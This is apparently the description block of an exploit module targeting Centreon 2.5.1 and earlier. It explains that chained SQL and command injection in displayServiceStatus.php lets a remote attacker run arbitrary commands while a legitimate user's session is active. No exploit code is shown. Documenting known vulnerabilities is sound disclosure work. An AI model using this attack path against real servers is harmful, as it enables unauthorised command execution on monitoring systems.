        This module exploits several vulnerabilities on Centreon 2.5.1 and prior and Centreon
        Enterprise Server 2.2 and prior. The combination of both vulnerabilities, SQL and
        Command injections in the displayServiceStatus.php component, allows remote attackers
        to execute arbitrary commands. No authentication is required. The module only requires
        a valid session available at the moment of exploitation. It means a legit ust must be
        logged in. This module has been tested successfully on Centreon Enterprise Server 2.2.
